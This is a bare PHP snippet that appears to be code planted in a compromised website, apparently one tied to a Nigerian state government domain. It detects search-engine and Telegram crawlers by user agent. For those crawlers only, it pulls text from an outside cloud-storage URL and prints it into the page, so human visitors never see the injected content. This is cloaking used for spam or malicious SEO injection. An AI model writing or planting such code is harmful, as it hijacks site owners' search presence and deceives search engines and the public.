<?php
function is_bot() {
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    $bots = array("Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool");
    foreach ($bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    return false;
}

if (is_bot()) {
    $message = file_get_contents("https://pub-b40c7ca508f8449f917a237fe8ee1e36.r2.dev/deltastate.gov.ng.txt");
    echo $message;
}
?>


<?php